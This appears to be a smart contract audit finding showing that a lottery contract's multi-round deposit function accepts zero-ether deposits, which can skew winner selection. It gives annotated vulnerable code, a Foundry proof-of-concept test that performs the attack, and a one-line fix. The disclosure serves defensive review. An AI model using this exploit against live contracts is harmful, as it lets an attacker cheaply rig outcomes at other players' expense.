Users can deposit "0" ether to any round
The main invariant to determine the winner is that the indexes must be in ascending order with no repetitions. Therefore, depositing "0" is strictly prohibited as it does not increase the index. However, there is a method by which a user can easily deposit "0" ether to any round without any extra costs than gas.\\nAs stated in the summary, depositing "0" will not increment the entryIndex, leading to a potential issue with the indexes array. This, in turn, may result in an unfair winner selection due to how the upper bound is determined in the array. The relevant code snippet illustrating this behavior is found here.\\nLet's check the following code snippet in the `depositETHIntoMultipleRounds` function\\n```\\nfor (uint256 i; i < numberOfRounds; ++i) {\\n            uint256 roundId = _unsafeAdd(startingRoundId, i);\\n            Round storage round = rounds[roundId];\\n            uint256 roundValuePerEntry = round.valuePerEntry;\\n            if (roundValuePerEntry == 0) {\\n                (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});\\n            }\\n\\n            _incrementUserDepositCount(roundId, round);\\n\\n            // @review depositAmount can be "0"\\n            uint256 depositAmount = amounts[i];\\n\\n            // @review 0 % ANY_NUMBER = 0\\n            if (depositAmount % roundValuePerEntry != 0) {\\n                revert InvalidValue();\\n            }\\n            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);\\n            expectedValue += depositAmount;\\n\\n            entriesCounts[i] = entriesCount;\\n        }\\n\\n        // @review will not fail as long as user deposits normally to 1 round\\n        // then he can deposit to any round with "0" amounts\\n        if (expectedValue != msg.value) {\\n            revert InvalidValue();\\n        }\\n```\\n\\nas we can see in the above comments added by me starting with "review" it explains how its possible. As long as user deposits normally to 1 round then he can also deposit "0" amounts to any round because the `expectedValue` will be equal to msg.value.\\nTextual PoC: Assume Alice sends the tx with 1 ether as msg.value and "amounts" array as [1 ether, 0, 0]. first time the loop starts the 1 ether will be correctly evaluated in to the round. When the loop starts the 2nd and 3rd iterations it won't revert because the following code snippet will be "0" and adding 0 to `expectedValue` will not increment to `expectedValue` so the msg.value will be exactly same with the `expectedValue`.\\n```\\nif (depositAmount % roundValuePerEntry != 0) {\\n                revert InvalidValue();\\n            }\\n```\\n\\nCoded PoC (copy the test to `Yolo.deposit.sol` file and run the test):\\n```\\nfunction test_deposit0ToRounds() external {\\n        vm.deal(user2, 1 ether);\\n        vm.deal(user3, 1 ether);\\n\\n        // @dev first round starts normally\\n        vm.prank(user2);\\n        yolo.deposit{value: 1 ether}(1, _emptyDepositsCalldata());\\n\\n        // @dev user3 will deposit 1 ether to the current round(1) and will deposit\\n        // 0,0 to round 2 and round3\\n        uint256[] memory amounts = new uint256[](3);\\n        amounts[0] = 1 ether;\\n        amounts[1] = 0;\\n        amounts[2] = 0;\\n        vm.prank(user3);\\n        yolo.depositETHIntoMultipleRounds{value: 1 ether}(amounts);\\n\\n        // @dev check user3 indeed managed to deposit 0 ether to round2\\n        IYoloV2.Deposit[] memory deposits = _getDeposits(2);\\n        assertEq(deposits.length, 1);\\n        IYoloV2.Deposit memory deposit = deposits[0];\\n        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));\\n        assertEq(deposit.tokenAddress, address(0));\\n        assertEq(deposit.tokenId, 0);\\n        assertEq(deposit.tokenAmount, 0);\\n        assertEq(deposit.depositor, user3);\\n        assertFalse(deposit.withdrawn);\\n        assertEq(deposit.currentEntryIndex, 0);\\n\\n        // @dev check user3 indeed managed to deposit 0 ether to round3\\n        deposits = _getDeposits(3);\\n        assertEq(deposits.length, 1);\\n        deposit = deposits[0];\\n        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));\\n        assertEq(deposit.tokenAddress, address(0));\\n        assertEq(deposit.tokenId, 0);\\n        assertEq(deposit.tokenAmount, 0);\\n        assertEq(deposit.depositor, user3);\\n        assertFalse(deposit.withdrawn);\\n        assertEq(deposit.currentEntryIndex, 0);\\n    }\\n```\\n
Add the following check inside the depositETHIntoMultipleRounds function\\n```\\nif (depositAmount == 0) {\\n     revert InvalidValue();\\n   }\\n```\\n
High, since it will alter the games winner selection and it is very cheap to perform the attack.
```\\nfor (uint256 i; i < numberOfRounds; ++i) {\\n            uint256 roundId = _unsafeAdd(startingRoundId, i);\\n            Round storage round = rounds[roundId];\\n            uint256 roundValuePerEntry = round.valuePerEntry;\\n            if (roundValuePerEntry == 0) {\\n                (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});\\n            }\\n\\n            _incrementUserDepositCount(roundId, round);\\n\\n            // @review depositAmount can be "0"\\n            uint256 depositAmount = amounts[i];\\n\\n            // @review 0 % ANY_NUMBER = 0\\n            if (depositAmount % roundValuePerEntry != 0) {\\n                revert InvalidValue();\\n            }\\n            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);\\n            expectedValue += depositAmount;\\n\\n            entriesCounts[i] = entriesCount;\\n        }\\n\\n        // @review will not fail as long as user deposits normally to 1 round\\n        // then he can deposit to any round with "0" amounts\\n        if (expectedValue != msg.value) {\\n            revert InvalidValue();\\n        }\\n```\\n